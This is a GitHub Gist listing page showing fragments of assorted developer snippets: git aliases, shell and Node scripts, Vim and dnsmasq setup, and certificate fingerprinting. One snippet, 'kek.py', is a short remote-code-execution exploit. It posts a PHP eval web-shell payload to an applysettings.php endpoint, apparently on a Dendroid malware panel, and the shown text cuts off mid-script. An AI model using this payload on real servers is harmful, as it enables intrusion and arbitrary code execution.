Skip to content

Instantly share code, notes, and snippets.

@iketiunn
iketiunn / .gitconfig
Last active July 8, 2024 05:39
git/git-snippet/git-flow/
[color]
ui = true
[core]
editor = vim
excludesfile = ~/.gitignore_global
[alias]
cm = commit -m
co = checkout
st = status
lg = log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit
'use strict'
var jsonfile = require('jsonfile')
var replace = require('replace-in-file')
var fs = require('fs')
fs.readdir('dist', function(err, files) {
var htmlFiles = []
files.forEach(function(x) {
if (/\.html$/.test(x)) { htmlFiles.push('dist/' + x) }
})
@DarrenN
DarrenN / get-npm-package-version
Last active June 20, 2025 19:20 — forked from yvele/get-npm-package-version.sh
Extract version from package.json (NPM) using bash / shell
# Version key/value should be on his own line
PACKAGE_VERSION=$(cat package.json \
| grep version \
| head -1 \
| awk -F: '{ print $2 }' \
| sed 's/[",]//g')
echo $PACKAGE_VERSION
@denji
denji / README.md
Last active February 16, 2022 05:26
Nightwatch HTML Reporter

Image of Nightwatch Owl Nightwatch HTML Reporter

Install

cd /path/to/project
npm install handlebars

Copy html-reporter.js and html-reporter.hbs to your project basedir.

@ralavay
ralavay / vim-nginx-conf-highlight.sh
Last active November 5, 2024 02:16
Enable syntax highlight for Nginx conf file in Vim
#!/bin/bash
#
# Highligh Nginx config file in Vim
# Download syntax highlight
mkdir -p ~/.vim/syntax/
wget http://www.vim.org/scripts/download_script.php?src_id=19394 -O ~/.vim/syntax/nginx.vim
# Set location of Nginx config file
cat > ~/.vim/filetype.vim <<EOF
@Xyl2k
Xyl2k / kek.py
Last active December 12, 2024 04:52
Dendroid remote code execution
import requests
# Add URL
# Set a PHP payload
# Go to http://website/config.php
URL = 'http://localhost/Panel/applysettings.php'
PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '"
data = {
@plentz
plentz / ladder.md
Created October 28, 2015 15:50 — forked from jamtur01/ladder.md
Kickstarter Engineering Ladder
@moklick
moklick / twitter-stars.js
Last active November 4, 2015 13:52
Changes Twitter Hearts To Stars Again
/*
* Get the good old favorite ★ back.
*
* Copy the few lines below into the console of your browser and press enter.
* Chrome: https://developer.chrome.com/devtools#access
* Firefox: https://developer.mozilla.org/en-US/docs/Tools/Web_Console/Opening_the_Web_Console
*/
// updated version (this also works for new pulled tweets):
var style = document.createElement('style');
@foxoman
foxoman / hostcmd.sh
Last active December 3, 2020 08:11
Add system hosts file to Network Manager DNSmasq Config:
sudo sh -c "echo 'addn-hosts=/etc/hosts' > /etc/NetworkManager/dnsmasq.d/etc-hosts"
@alastairmccormack
alastairmccormack / x509_sha1_fingerprint.py
Created November 13, 2015 03:40
Gets a SHA1 fingerprint from an x509 certificate using Python and OpenSSL crypto module
from OpenSSL.crypto import load_certificate, FILETYPE_PEM
cert_file_string = open("esx.crt", "rb").read()
cert = load_certificate(FILETYPE_PEM, cert_file_string)
sha1_fingerprint = cert.digest("sha1")
print sha1_fingerprint